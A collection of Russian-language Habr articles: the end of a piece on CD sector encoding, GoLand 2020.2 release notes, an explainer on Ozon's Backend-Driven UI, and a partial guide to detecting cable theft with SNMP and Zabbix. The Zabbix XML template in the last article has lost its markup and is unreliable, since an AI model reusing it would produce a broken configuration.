> Скремблер нужен для того, чтобы сделать спектр сигнала равномерным. Иначе, при однородных данных (например, много повторяющихся единиц или нулей) энергия сигнала будет сосредоточена в узком диапазоне.
>
>
F1, F2 и F3 frame'ы
====================
Каждый **Scrambled Sector** разбивается на frame'ы, длиной по **24** байта каждый.
Данные frame'ы имеют название: **F1 frame**.
Каждый **Scrambled Sector** у нас состоит из **2352** байт.
Соответственно каждый сектор разбивается на **98** frame'ов.
CIRC кодирование (F2 frame)
---------------------------
**Cross Interleaved Reed-Solomon (CIRC)** кодирование осуществляется для каждого **F1 frame'а**.
Это код, корректирующий ошибки с длиной входного слова в **24** байта, а длиной выходного слова в **32** байта.
Причем в отличие от **EDC** и **RSPC** кодирования, **CIRC** кодирование применяется для всех **Sector Mode**.
Полученную последовательность из **32** байт называют **F2 frame'ами**.
Контрольный байт
----------------
В начало каждого **F2 frame'а** добавляют один проверочный байт и получается **F3 frame** с длиной в **33** байта (32+1=33).
8-to-14 кодирование
===================
На этой стадии данные каждый байт (8 бит) преобразуется в 14 бит данных. Преобразование осуществляется по таблице.
Всю таблицу приводить не буду, вы можете найти её в [Annex D стандарта ECMA-130](http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-130.pdf).
```
... ...
00010000 10000000100000
00010001 10000010000000
00010010 10010010000000
00010011 00100000100000
00010100 01000010000000
00010101 00000010000000
00010110 00010010000000
... ...
```
Зачем необходимо 8-to-14 кодирование в стандарте не указано. (Стандарт и не обязан отвечать на вопросы ПОЧЕМУ, в стандарте должны быть ответы на вопросы КАКИМ ОБРАЗОМ)…
У меня есть одна гипотеза. Дело в том, что реальный мир не настолько «идеален», каким его видят программисты. Например, нарисованная точка — это маленькая «клякса», а нарисованная линия всегда имеет площадь; в противном случае наши бы глаза не видели бы точку и линию… По этой причине рискну высказать ряд предположений. Подчеркну, что я никогда не работал профессионально с изготовлением CD дисков. Это всего лишь предположения. (Дискуссия в коментариях категорически приветствуется!).
Гипотезы.
1. Пит не «идеально» выжигается на поверхности диска, поэтому необходимо некое пространство рядом с питом, т.к. за это пространство выжженный пит может «заскочить».
2. Скорее всего, есть определенные проблемы с синхронизацией самой головки.Слишком большое количество подряд идущих нулей — это плохо.
3. Возможно большое количество единиц это дополнительная «нагрузка» на считывающую головку. Поэтому их уменьшение позволит существенно увеличить срок эксплуатации CD привода. В среднем на 8 бит данных мы имеети 4 единицы. В 8-to-14 кодировании в *кодовом слове* у нас 1 или 2 единицы. То есть в два раза меньше.
Подсчитываем избыточность
=========================
Посмотрим, насколько протокол CD избыточен:
1. В зависимости от Sector Mode:
* **Sector Mode 01** (P-Q кодирование) — На входе блок из **2048** байт, на выходе **2352**. Следовательно избыточность равна: **2352/2048=1.148**
* **Sector Mode 02** (без P-Q кодирования) — **2352/2336=1.007**
2. **Скремблирование** — мелочь, но для порядка учтем: **(12+2340)/2340=1.005**
3. **F1-F2-F3 фреймы** — **33/24=1.375**
4. **8-to-14 кодирование** — **14/8=1.750**
Перемножая все, получаем: 1.148 ⋅ 1.005 ⋅ 1.375 ⋅ 1.750 = **2.776**. Таким образом на сам диск в итоге записывается в **2.776** раз больше информации, чем «полезная информация».
Например при объеме «полезной информации» в **700**Мб, реально на диск записывается **1943** Мб данных.
Для Sector Mode 02 не используется P-Q кодирование. Для этого режима избыточность равна: 1.007 ⋅ 1.005 ⋅ 1.375 ⋅ 1.750 = **2.435**.
Бонус: SCSI Multimedia Commands
===============================
Есть стандарт [SCSI Multimedia Commands](http://hackipedia.org/Hardware/SCSI/Multimedia/SCSI%20Multimedia%20Commands%20-%206.pdf). В нем дано описание команд «сырого» чтения данных. Команды **READ CD** и **WRITE CD** позволяют считывать 2352 байт данных со всего сектора. Однако команд для считывания F-fraim'ов я не нашел… В принципе если записывать избыточную информацию, для которой не страшны частичные потери (например видео, телематика)
можно обойтись без **F1-F2-F3 фреймов** увеличив «полезную нагрузку» в **1.375** раз.
Так же есть ряд неиспользуемых областей в компакт диске (например тот же **Intermidiate**), которыми так же можно воспользоваться. Например ради задач стеганографии.
К сожалению я не нашел OpenSource кода, реализующий данные возможности…
Если на хабре есть спецы по данному вопросу, буду рад получить ссылочку (с меня плюс в карму). | https://habr.com/ru/post/269311/ | null | ru | null |
# GoLand 2020.2: улучшенная поддержка Go modules, дженерики и многое другое
Хабр, привет! Две недели назад мы выпустили GoLand 2020.2 и хотим рассказать про основные изменения в этом релизе.
Если коротко, то мы улучшили поддержку Go modules, сделали удобнее поиск возможных проблем и слабых мест в коде, добавили новые проверки кода.
Кроме того, вы найдете новые функции редактирования кода, экспериментальную поддержку дженериков, возможность отправлять код из редактора в Go Playground, обновления для системы контроля версий, включая поддержку WSL 2 для Git на Windows, и многое другое!
Кстати, узнавать о новой функциональности в интерактивной форме можно прямо в IDE. Пройдите урок *What's New in GoLand 2020.2* на экране приветствия.
**Go modules**
--------------
Начиная с версии Go 1.15 можно изменить расположение кэша модулей по умолчанию с `$GOPATH/pkg/mod` на другую папку, используя новую переменную окружения GOMODCACHE.
Для этого укажите GOMODCACHE в *Preferences/Settings | Go Modules | Environment*. IDE распознает новое расположение и использует его для всех последующих действий с зависимостями.
Теперь можно закомментировать строки в файле *go.mod* с помощью *Comment With Line Comment* (Ctrl+/ на Windows/Linux и ⌘/ на macOS).
**Работа с комментариями**
--------------------------
IDE отображает ссылки из комментариев на соответствующие объявления на уровне пакета и позволяет перейти к ним с помощью *Navigate to Declaration or Usages* (⌘B на macOS и Ctrl+B/ на Windows/Linux).
**Инспекции кода**
------------------
*Inspections Widget* показывает количество предупреждений, ошибок и опечаток в текущем файле в правом верхнем углу редактора. Вы можете переходить от одной ошибки к другой с помощью стрелок или хоткея *Next Error* (F2).
Виджет позволяет настроить уровень подсветки (не подсвечивать ничего, подсвечивать только ошибки или подсветить все), а также изменить уровень значимости проверок или переключиться в *Compact View*, чтобы виджет не отвлекал вас.
Новое окно *Problems* показывает список предупреждений и ошибок в текущем файле с описанием этих проблем и позволяет сразу же их исправить с помощью *Alt+Enter*.
Чтобы открыть окно *Problems*, нажмите на *Inspections Widget* или перейдите к нему через *View | Tool Window | Problems*. Чтобы перейти к строке кода с ошибкой в редакторе, щелкните по ней правой кнопкой мыши.
Новая инспекция кода предупреждает о возможных проблемах преобразований `string(int)`, которые возвращают UTF-8 представление символа Unicode `x` вместо ожидаемого десятичного представления строки `x`.
GoLand уведомит о таких потенциальных ошибках и предложит быстрое исправление.
GoLand предупредит о распространенных ошибках в использовании имен тестов и примеров — вам больше не нужно вызывать для этого go vet. IDE уведомит о таких потенциальных ошибках и предложит быстрое исправление (quick-fix). Например, GoLand предложит переименовать *Testme* в *TestMe*.
Инспекция кода *Malformed struct tag* проверяет, соответствуют ли теги структур стандартам языка, и предупреждает о потенциальных проблемах в коде.
Инспекция *Impossible interface type assertion* анализирует выражения проверки типов v.(T), в том числе внутри оператора switch, и уведомляет пользователя, если тип V переменной v является интерфейсом, который не может реализовывать целевой интерфейс T. Это происходит, когда V и T содержат методы с одинаковым именем, но разными сигнатурами.
**Редактирование кода**
-----------------------
Чтобы посмотреть предварительный результат быстрого исправления перед его применением, вызовите *Show Context Actions* с помощью Alt+Enter, выберите нужное действие и нажмите ⌥+Space на macOS или Ctrl+Shift+I на Windows и Linux.
*Add Caret Per Selected Line* создает курсоры в конце каждой выделенной строки. Используйте Alt+Shift+G на Windows/Linux и ⌥⇧G на macOS.
Настройте перенос на новую строку для аргументов вызова, параметров функций и составных литералов в *Preferences/Settings | Editor | Code Style | Go | Wrapping and Braces*.
Также можно использовать *Put arguments on separate lines* и *Put arguments on one line* с помощью *Alt+Enter*, чтобы вручную разделить или объединить элементы.
**Работа с переменным числом аргументов**
-----------------------------------------
Рефакторинг *Introduce Variable* (Ctrl+Alt+V на Windows и Linux, ⌘⌥ V на macOS) теперь умеет упаковывать аргументы в новый слайс, в то время как *Inline Variable* (⌥⌘N на macOS и Ctrl+Alt+N на Linux и Windows), наоборот, распаковывает их из слайса.
А при помощи быстрого исправления *Unpack slice* можно передать слайс последним аргументом вариативной функции.
**Сохранение проекта в качестве шаблона**
-----------------------------------------
Теперь вы можете повторно использовать проекты или файлы, сохраняя их как пользовательские шаблоны. Для этого выберите *Tools | Save Project as Template*. В момент создания нового проекта IDE воссоздаст дерево проекта с файлами, папками и конфигурациями сборки.
**Go Playground**
-----------------
Теперь вы можете отправлять код в [Go Playground](https://play.golang.org/), открыв контекстное меню. Выберите *Go Tools | Share in Playground* в раскрывающемся меню или *Tools | Go Tools | Share in Playground*, либо используйте горячие клавиши ⌥⇧⌘S на macOS или Ctrl+Alt+Shift+S на Windows/Linux.
Playground также работает с `go2`-файлами, в этом случае GoLand использует <https://go2goplay.golang.org/>.
**Поддержка дженериков**
------------------------
Команда Go анонсировала прототип дизайна дженериков (или, более строго, параметров-типов). Подробности можно найти в [черновике реализации](https://go.googlesource.com/proposal/+/refs/heads/master/design/go2draft-type-parameters.md).
В GoLand 2020.2 есть экспериментальная поддержку дженериков. Для работы с ними включите *Enable experimental support for generics a.k.a type parameters в Settings/Preferences | Go.*
Текущая реализация обеспечивает подсветку синтаксиса и базовую навигацию ссылок и работает только в *go2*-файлах.
**Под капотом IDE**
-------------------
Если *Vendoring mode* включен, то вы собираете свое приложение, используя только те пакеты зависимостей, которые хранятся в папке *vendor* вашего проекта.
Теперь, если в проекте есть папка *Vendor* и включен режим *Enable vendoring mode automatically* в *Settings/Preferences | Go | Go Modules*, GoLand будет использовать только папку vendor и не будет обращаться к кэш памяти модулей.
GoLand 2020.2 запускает команды `go list` последовательно и показывает индикатор выполнения с информацией о количестве команд в очереди.
**Система контроля версий**
---------------------------
### Поддержка WSL 2 для Git на Windows
GoLand 2020.2 позволят использовать Git из WSL 2, который изначально доступен в майском обновлении Windows 10, [версия 2004](https://devblogs.microsoft.com/commandline/wsl2-will-be-generally-available-in-windows-10-version-2004/). Если Git не установлен в Windows, GoLand автоматически будет искать Git в WSL и использовать его оттуда. IDE также автоматически переключится на Git из WSL для проектов, открытых из WSL (при помощи `\wsl$ path`).
### Обновленные диалоги для работы с Git
Мы переработали диалоги Merge, Pull и Rebase для Git, сделав их более аккуратными и информативными. Также теперь легче понять, какая команда будет выполняться. И еще добавили опцию –rebase к диалогу Pull и –no-verify к диалогу Merge.
### Расширенная поддержка пул-реквестов GitHub
Мы добавили полную поддержку пул-реквестов GitHub. Просматривайте, назначайте и объединяйте пул-реквесты, читайте встроенные комментарии и изучайте хронологию, отправляйте комментарии и ревью, а также принимайте изменения, не покидая GoLand.
### Улучшенная презентация результатов Compare branches
Теперь, когда вы сравниваете две ветки в GoLand, вы можете увидеть коммиты обеих веток в одном окне. IDE открывает список коммитов этих веток в редакторе вместо окна VCS, где было недостаточно места для отображения всей информации.
На этом всё! Идеи улучшений мы зачастую берем из ваших отзывов и предложений, так что пишите нам здесь в комментариях, в [наш баг-трекер](https://youtrack.jetbrains.com/issues/GO) или в [Twitter](https://twitter.com/golandide).
По традиции напоминаю, что если вы уже используете IntelliJ IDEA Ultimate, то все возможности GoLand доступны прямо там, нужно просто установить плагин Go.
Спасибо за внимание! | https://habr.com/ru/post/515062/ | null | ru | null |
# Как работает Backend-Driven UI на мобильном клиенте
Привет всем, кто хочет изменять интерфейс мобильного приложения до выхода нового релиза, всем, кто хочет без лишних доработок на клиенте проводить А/B-тестирование, и всем, кто хочет забыть о срочных «новых пятничных промоакциях», которые нужны уже в понедельник. В этой статье мы поговорим об основах Backend-Driven UI: рассмотрим абстрактно, как всё работает на бэкенде и на клиенте.
Минутка предыстории
-------------------
Сейчас я разрабатываю iOS-приложения в команде мобильной разработки Ozon Tech и по совместительству преподаю на курсах Route 256 в iOS-стриме.
Ранее, ещё до знакомства с Ozon, я разрабатывал приложение, в котором все новые фичи и обновления мы доставляли до пользователей через App Store. Любые изменения появлялись в приложении только после отправки в магазин, ревью и раскатки обновления. В целом для той компании этот подход был удобен.
Однако для e-com-компаний, в которых постоянно запускаются новые акции, создаются новые страницы с товарами, меняется флоу навигации и проводятся прочие активности по расширению иерархии страниц и контента, частые обновления становятся большой болью.
При каждом обновлении придётся столкнуться с несколькими проблемами:
* Нужно писать один и тот же типовой код для Android, iOS и веба, при этом поддерживая согласованность платформ.
* Веб-версия может обновляться моментально, но мобильные приложения должны пройти ревью в магазинах, что замедляет выпуск обновлений.
* Сложно проводить А/B-тесты.
* В коде содержится очень много бизнес-логики.
Решить эти проблемы поможет Backend-Driven UI.
Backend-Driven UI
-----------------
> *Backend-Driven UI (Backend-Driven Development или Server-Driven UI) — это концепция разработки интерфейсных приложений с экранами и переходами, формируемыми на сервере. Бэкенд не только управляет данными в приложении, но и его версткой.*
>
>
Подход позволяет создавать новые страницы, запускать А/B-тесты, легко менять флоу навигации. Все это можно сделать пока пьешь чашку кофе, при этом изменения появятся на всех платформах сразу и без ревью в магазинах.
Другими словами, Backend-Driven UI позволяет продакт-менеджерам запускать разные истории самостоятельно без привлечения разработчиков, в любое время суток и сразу на всех платформах.
Давайте рассмотрим пример работы на клиенте
-------------------------------------------
Для наглядности разберём работу инструмента на примере простого экрана:
Мы видим два элемента: зелёный с надписью “Hello There” и бирюзовый с заголовком, подписью и кнопкой. В Backend-Driven приложении подобный экран можно получить таким JSON-ответом:
```
{
"backgroundColor": "ozGreen",
"title": "Hello There",
},
{
"title": "Title",
"subtitle": "Subtitle",
"backgroundColor": "ozTurquoise",
"button": {
"backgroundColor": "ozYelloy",
"text": "Button"
}
}
```
Меняя JSON, приходящий с бэкенда, мы будем менять элементы или их расположение на странице в зависимости от гибкости Backend-Driven подхода.
Backend-Driven UI подходы
-------------------------
При использовании концепции можно сделать очень гибкий инструмент, в котором вся верстка, все элементы и их свойства будут определяться на сервере. Некоторые приложения используют высокую гибкость, например Spotify:
Но чем выше уровень гибкости, тем сложнее поддерживать систему и тем выше порог вхождения.
Подход в Ozon
-------------
В нашем приложении мы используем средний уровень гибкости: мы собираем страницу из самостоятельных UI-элементов, которые конфигурируются из JSON. Кастомные UI-элементы называются виджетами, они содержат в себе логику декодинга, отображения UI и взаимодействия с приложением и бэкендом.
Каждый блок — это отдельный кастомный UI-элемент, который может содержать свою логику. В Backend-Driven UI мы можем управлять наполнением страницы, меняя контент в админке, которая называется layout management tool. Подробнее про нее мы поговорим немного позднее. Вслед за изменениями шаблона страницы в админке, изменится ответ от бэкенда.
Каждый виджет разрабатывает отдельная команда бизнесового направления, эти направления называются вертикалями. Если интересно, подробнее об этом можно прочитать в статье «[Масштабируем команду мобильной разработки: как мы в Ozon справились с ростом до 44 iOS, Android и QA на одном приложении](https://habr.com/ru/company/ozontech/blog/566882/)».
Вернёмся к виджетам. На клиенте мы используем Composer SDK (ничего общего с Jet Pack Compose) — это «браузер виджетов», который умеет разбивать JSON на отдельные модели, собирать из них виджеты и показывать их в том порядке, в котором они пришли с бэка. Так как Composer SDK знает обо всех виджетах приложения, мы можем отображать любой виджет в любом месте приложения.
Как работает Backend-Driven UI на бэкенде со стороны мобильного клиента
-----------------------------------------------------------------------
Весь процесс разбит на несколько этапов:
1. При запуске приложения мы запрашиваем страницу по URL у Composer API. Composer API — это сервис на бэкенде, запрашивающий и агрегирующий ответы от бэкенд-сервисов вертикалей.
2. Composer API запрашивает шаблон страницы по URL у layout management tool.
> Layout management tool (LMT) — система для управления шаблонами, админ-панель сайта Ozon. Она позволяет создавать шаблоны, добавлять в них виджеты, параметризовать их и публиковать на сайте.
>
>
В ответ на запрос Composer API, LMT возвращает массив — layout-список, в котором уже определён порядок виджетов на странице.
3. Composer API проходит по массиву, идёт в бэкенд-сервисы — и для каждого виджета получает от них JSON с данными.
4. Все данные склеиваются в один JSON и отправляются единым ответом на клиент.
Таким образом, мы делаем один запрос и получаем один ответ, при этом Composer API не парсит JSON от сервисов, а передаёт его на клиенты в том виде, в каком он получил его. Если какой-то из сервисов отдаёт невалидный JSON, то задача Composer SDK на клиенте — не обрабатывать эту часть JSON и не показывать виджет, который должен был появиться.
Можно предположить, что Composer API может стать узким местом, однако при запуске новых сервисов они подключаются по стандартным протоколам, благодаря чему Composer API не нужно деплоить при каждом изменении или добавлении сервиса.
Немного про Layout API (Layout Management Tool)
-----------------------------------------------
Выше мы видели, как Composer API передал URL в Layout API и в ответе получил layout-список, по которому затем обратился с запросом к нужным сервисам.
Layout API хранит настроенный шаблон страницы по URL, поэтому на запрос Composer API возвращается нужная страница. Упрощённо шаблон страницы карточки товара выглядит так:
В админке мы видим различные блоки, которые можно настраивать, перетаскивать, добавлять для них разные условия. Также можно добавлять и удалять сами блоки. Так мы настраиваем шаблоны страниц. Каждому блоку на клиентах соответствует конкретный виджет, умеющий парсить JSON, который Composer API получил от бэкенд-сервиса.
Чтобы клиенты правильно и одинаково парсили JSON, мы делаем для каждого виджета контракты.
Контракты и их роль
-------------------
Контракт — это набор файлов, который содержит описание модели виджета, приходящей с бэкенда, описание работы, скриншоты и иногда моки. Все контракты хранятся у нас в Git-репозитории.
В контракте содержится следующая информация:
* описание опциональности и типов полей;
* какие поля предназначены только для конкретной платформы;
* какие поля стали устаревшими (помечаются как deprecated) и бэкенд больше не присылает их для новых версий виджета.
Так как для всех клиентов используется один и тот же шаблон, контракт помогает согласовать поведение клиентов. Перед разработкой нового виджета мы всегда составляем его описание, которое согласовываем на всех платформах и бэкенде.
Для примера возьмём упрощённый JSON и его контракт:
```
{
"activateCode": {
"backgroundColor": "ozRed",
"activatedData": {
"title": "Активируйте ваш код",
"icon": "ic_m_activateCode"
}
}
}
```
```
message Contract {
string backgroundColor = 1;
ActivatedData activatedData = 2; // required
message ActivatedData {
string title = 1; // required
string icon = 2;
}
}
```
Здесь мы видим много разных полей. Разберём некоторые из них:
* `message Contract` — описание модели виджета, которая придёт на клиенты;
* `ActivatedData activatedData = 2; // required` — вложенная модель, помеченная как обязательная. Если эти данные не придут, то виджет не должен будет отображаться.
Остальные поля — это имя самого поля, который придёт в JSON, и его тип данных. Подробнее о полях можно узнать из [документации](https://docs.microsoft.com/ru-ru/dotnet/architecture/grpc-for-wcf-developers/protocol-buffers).
Если мы будем обновлять виджет, то нам нужно будет обновить и контракт. Мы можем:
* либо добавить новое поле — и тогда для старой версии виджета можно будет отправлять новый JSON, и мы не поломаем обратную совместимость;
* либо убрать обязательное поле — и обратная совместимость сломается. В этом случае нам нужно будет отправлять старую версию JSON для старых клиентов, а новую версию — для новых с определённой версии приложения. Управляется это указанием версии виджета, это поле приходит в JSON вместе с vertical, component и stateId. Тогда мы сможем отображать виджет для новых и старых версий клиента.
Например, у нас есть простой виджет, который с бэкенда получил модель:
```
"activateCode": {
"background": "ozRed"
}
```
Мы решили доработать его и добавить новое поле:
```
"activateCode": {
"background": "ozRed",
"title": "Ваш код"
}
```
Когда пользователи обновят приложение, у них появится новая функциональность виджета, а бэкенд сможет присылать новую модель виджета для пользователей, которые уже обновили приложение и для тех, кто ещё не обновился.
Однако если мы поменяем имя поля `background` на `backgroundColor`:
```
"activateCode": {
"backgroundColor": "ozRed",
"title": "Ваш код"
}
```
то мы сломаем обратную совместимость и нужно будет следить за тем, чтобы не прислать новую модель виджета для старых клиентов, потому что они не смогут декодировать такой JSON.
В файле readme контракта мы обязательно оставляем скриншоты со ссылкой на дизайн виджета, описываем все поля и работу его API.
Proto-файлы хороши ещё и тем, что позволяют генерировать декодинг-модели на клиенте, но это уже следующий этап развития.
Так выглядит упрощённый пример контракта виджета, который мы используем в Ozon. Реальные контракты могут быть больше по объёму и содержать различные кастомные модели.
Давайте теперь рассмотрим, как всё работает на клиенте.
Как работает Backend-Driven UI на мобильном клиенте
---------------------------------------------------
Мы уже знаем, что при запуске приложения или открытии страницы мы делаем запрос к Composer API и в ответе получаем JSON, в котором содержатся layout-список и данные для виджетов.
На клиенте запросы страниц и их обработка происходят в модуле Composer SDK. Задачи модуля: запросить страницу, декодировать данные, преобразовать их в модели, собрать виджеты и отобразить их на странице.
Рассмотрим упрощённый пример JSON, который получает клиент:
```
{
"layout": [
{
"vertical": "csma",
"component": "activateCode",
"stateId": "activateCode-123456",
"version": 1
}
],
"csma": {
"activateCode": {
"activateCode-123456": {
"backgroundColor": "ozRed",
"activatedData": {
"title": "Активируйте ваш код",
"icon": "ic_m_activateCode"
}
}
}
}
}
```
В JSON есть два элемента: “layout” и “csma”:
* Layout — это тот самый список виджетов, от порядка элементов в этом массиве зависит расположение виджетов на странице;
* CSMA — это модель виджетов, которую Composer API получил от бэкенд-сервиса.
Именно эти элементы Composer SDK использует, чтобы отобразить и сконфигурировать виджеты. Давайте рассмотрим поля layout:
* Vertical — это имя вертикали, под которой зарегистрирован виджет, по этому ключу Composer SDK находит нужную часть JSON с данными виджетов;
* Component — это имя конкретного виджета, по нему Composer SDK находит в JSON модели этого виджета;
* StateId — имя, по которому достаются модели конкретных виджетов;
* Version — версия виджета, которая используется, чтобы отобразить нужную версию view виджета.
Используя vertical, component и stateId Composer SDK собрать любой виджет, а из них любую страницу.
Как работают виджеты
--------------------
Виджет — это самостоятельный UI-элемент или даже модуль, который содержит кастомную логику и модель для декодинга.
Архитектурно виджет выполнен по MVVM и состоит из нескольких файлов:
* Assembly — регистрируется в конфигурации Composer SDK по ключу виджета, чтобы потом Сomposer мог вызвать Assembly для декодинга, конфигурации модели и view виджета;
* WidgetModel — декодируемая-модель виджета;
* WidgetView — кастомный view виджета;
* WidgetViewModel — ViewModel виджета, в которой содержится вся бизнес-логика;
* WidgetViewState — «состояние» виджета, с которым мы работаем.
Вместе все эти файлы составляют отдельный модуль виджета. Assembly каждого модуля зарегистрированы в Composer SDK — и в нужный момент Composer SDK вызывает методы декодинга или сборки view у Assembly виджетов.
Когда нам нужно разработать новый виджет, мы создаём новый модуль по шаблону, описываем модель из контракта в WidgetModel, затем верстаем UI виджета по дизайну в WidgetView и прописываем логику в WidgetViewModel.
Если еще раз, глобально, когда Composer SDK получил JSON, по vertical, component и stateId из layout-списка, он обращается к зарегистрированной по ключу Assembly и вызывает метод сборки модели виджета (WidgetModel), передавая в него JSON с данными виджета. Assembly должна распарсить JSON и вернуть готовую модель виджета. А после, когда виджет должен показаться на экране, Composer SDK вызывает у Assembly метод сборки WidgetView и полученную view крепит на ячейку UICollectionViewCell.
Composer SDK
------------
Глобально, Composer — это вся Backend-Driven UI система, которая включает как Composer API на бэкенде, так и Composer SDK на iOS, Android и веб, так и админку LMT (Layout management tool).
Composer SDK на мобильном клиенте, например на iOS — это обертка над UICollectionView с различными дополнительными сервисами.
Если рассматривать минимальную версию Composer SDK без применения архитектурных слоёв, то в нём можно выделить две основные части:
* ComposerViewController c UICollectionView — отвечает за конфигурацию виджетов моделями и за их отображение;
* ComposerService — отвечает за запросы к сети и за парсинг JSON на части, которые передаются в Assembly виджетов.
Если переводить минимальную версию на архитектуру VIPER или MVVM, то частей модуля получится больше.
Давайте ещё раз пройдёмся по этапам работы модуля от запроса к Composer API до отображения виджетов на экране:
1. Запуск приложения, ComposerViewController инициализирует запрос страницы через ComposerService и получает JSON с бэкенда.
2. ComposerService разбивает полученный JSON на части по vertical, component и stateId.
3. ComposerService достаёт нужную Assembly виджета (по vertical и component) и передаёт в неё JSON для парсинга (по stateId).
4. Assembly декодирует модель виджета и возвращает её в ComposerService.
5. ComposerService возвращает все полученные модели в ComposerViewController.
6. ComposerViewController собирает view виджета и конфигурирует её моделью виджета.
7. Виджет отображается на экране.
Если кратко, то это весь процесс работы на клиенте от момента запуска приложения до отображения виджета. Если тема будет интересна, то в следующей статье расскажу, как собрать минимальную версию Composer SDK у себя на клиенте, чтобы запустить Backend-Driven UI.
Преимущества подхода
--------------------
* Вся логика формирования страниц находится на бэкенде, и каждый бизнес-юнит самостоятельно управляет набором и расположением виджетов на странице.
* Легко проводить эксперименты и выяснять, какой функционал будет удобнее для пользователя.
* Можно моментально отключать любые виджеты или фичи.
* Любой виджет можно отобразить на любой странице.
* Можно переиспользовать виджеты для сборки новых страниц.
Особенности, трудности и недостатки
-----------------------------------
#### 1. Разработка виджетов
Страницы состоят из отдельных кастомных UI-элементов, из которых дизайнеры и продакты мастерят новые страницы, поэтому разработка и обновление виджетов пользуются большим спросом. В связи с этим разработчики фичевых команд чаще всего занимаются вёрсткой виджетов.
#### 2. Переиспользование виджетов
Чем больше становится виджетов, тем сложнее становится в них ориентироваться. Из-за этого все сложнее разобраться, какой из виджетов можно переиспользовать или доработать.
#### 3. Перформанс страниц: оптимизация, скорость работы виджетов и плавность скролла
Из преимущества «Любой виджет можно отобразить на любой странице» появляется трудность с плавностью скролла страниц, потому что бэкенд может прислать тяжёлый виджет на любую часть экрана.
Например, мы дополнительно оптимизировали все виджеты, которые приходят на главную страницу, чтобы она загружалась супербыстро, и добились идеально плавного скролла. В преддверии праздников на главную страницу добавляют большой и красивый новый виджет, в котором много картинок, видео, анимаций и много всего прочего. Как только он начинает отображаться, мы видим, как скорость работы главной страницы начинает ухудшаться, потому что несколько легковесных виджетов с текстом и иконками работают намного быстрее, чем большой праздничный виджет с различными видеопревью и дополнительными фоновыми изображениями.
#### 4. Избыточность данных
Так как каждый виджет ничего не знает о других виджетах, необходимо присылать с бэкенда нужные данные во все виджеты, даже если даже если речь об одних и тех же данных.
Например, посмотрите на виджет с ценой и двумя кнопками «В корзину»:
Стоимость товара одинаковая, но, так как это отдельные виджеты, мы должны прислать эту цену три раза: в виджет цены, на красную и синюю кнопки.
#### 5. Связанные виджеты
Проблему связанных виджетов можно увидеть в фильтрах:
При активации одного фильтра должно измениться состояние других фильтров. Чтобы этого добиться, при клике на каждый фильтр мы запрашиваем новую страницу, в которой приходят уже новые активированные фильтры.
Но этот метод не всегда подходит. Например, при добавлении товара в избранное мы обновляем состояние товара на всех активных табах без обновления страницы через внутренний сервис.
Что в итоге
-----------
Мы можем использовать достаточно гибкий инструмент, если подружиться с которым, его преимущества значительно перевесят минусы его особенностей, трудностей и недостатков.
В этой статье мы абстрактно разобрали, как работает Backend-Driven UI на сервере и клиенте. Если хочется разобраться что делать, чтобы на iOS собрать работающий инструмент, то в следующей статье шаг за шагом разберём сборку минимальной версии ComposerSDK.
Что посмотреть по теме
----------------------
* Доклад Алексея Новикова «[Хватит делать фичи, делайте инструменты!](https://youtu.be/fCFzZdtj2LE)»
* Доклад Александра Свиридова «[Быстрый запуск фичей с Server Driven UI](https://www.youtube.com/watch?v=RYQyA4VmnJo)»
> *Кстати, совсем скоро у нас будет* ***открытый Mobile Meetup****, где обсудим перформанс-мониторинг по-взрослому. Анонс выложим здесь и в* [*Телеграме*](https://t.me/ozon_tech) *— приходите в гости!*
>
> *А если вы хотите попасть на бесплатный курс «*[*Продвинутая iOS-разработка: SwiftUI и Backend-Driven UI*](http://route256.ozon.ru/ios?utm_source=habr&utm_medium=artical&utm_campaign=mityuklyaev)*», оставляйте заявку, стартуем в мае.*
>
> | https://habr.com/ru/post/661941/ | null | ru | null |
# Мониторинг воровства кабеля
Работаю в интернет-провайдере, в одном из районов города стали часто резать медный 25 парный кабель.
Злоумышленникам все просто — зашел в подъезд, поднялся на верхний этаж, обрезал кабель и вытащил из трубостоек, можно скручивать и продавать. Факт кражи будет заметен только тогда, когда на вызов от недовольных абонентов приедут монтажники. Руководство поставило задачу — придумать, как с этим бороться и естественно, без доп. затрат.
После походов по форумам общий принцип был такой – делаем петлю на последней паре и подключаем в первый порт коммутатора, если ворюги режут кабель – линк пропадает. В теории все просто, но долгие поиски «разжеванного» решения результата не дали.
Во время реальных тестов выяснилось, что по 2-м жилам 10Мбит линк на порту не поднимается даже на *10Mb\_Half* (коммутаторы Dlink), реально заработало только на 4-х жилах, т.е. надо задействовать 2 последних пары в кабеле.
Итак, берем 4 жилы из кабеля (2 последних пары) на одном конце кабеля и делаем на них скрутки, скручиваем 1 и 4 жилу, 2 и 3 жилу, затем на другом конце обжимаем коннектор 1,2,3 жилу по порядку в 1-3 pin, и 4-ую жилу в 6-ой pin
На коммутаторах выделим отдельный vlan под порт мониторинга (использовал 1-ый порт) и жестко зададим скорость на порту *10Mb\_Half*
```
create vlan vlan1234 tag 1234
config vlan vlan1234 add untagged 1
config ports 1 speed 10_half
```
Подключаем кабель в 1-ы порт, *Link UP* — отлично, теперь осталось отмониторить событие включения/выключения порта и сообщить об этом службам. Изначально хотел ловить SNMP trap'ы, но даже на одном вендоре на разных моделях и прошивках они работают по-разному, используя разные OID'ы. Также, trap'ы на изменения линков приходят постоянно, даже когда статус порта не меняется. Поэтому решил, что логичнее самому опрашивать коммутаторы по SNMP через определенный промежуток времени (60 секунд). OID'ы на запрос статуса линка порта стандартизированы в RFC (для первого порта *1.3.6.1.2.1.2.2.1.8.1*).
Чтобы коммутатор мог отдать значение статуса линка, на нем должен быть настроен SNMP
```
create snmp group cable v2c read_view CommunityView notify_view CommunityView
create snmp community cable view CommunityView read_only
```
Далее нужно было определиться, чем мониторить, тут очень помогла [статья на Хабре про Zabbix](http://habrahabr.ru/post/154723/), тем более что Zabbix и так используем. Для начала создадим шаблон в Zabbix,
Создадим файл CableState\_zabbix\_template.xml со следующим содержимым (использовался [генератор](http://ross.vc/cisco_tpl/) из той же статьи, оставил только триггер на изменение линка):
**Код**
```
xml version="1.0" encoding="UTF-8"?
0
1
127.0.0.1
10050
3
0
127.0.0.1
623
0
2
Templates
Status port 1
60
7
365
0
0
0
0
0
0
cable
1.3.6.1.2.1.2.2.1.8.1
161
0
0
Port 1 status down (CABLE CUT!!!) on {HOSTNAME}
0
{CableState:ifOperStatus.1.last(0)}=2
0
3
```
После этого идем в Zabbix выбираем *Настройка->Шаблоны->Импорт Шаблона*
Выбираем созданный файл CableState\_zabbix\_template.xml
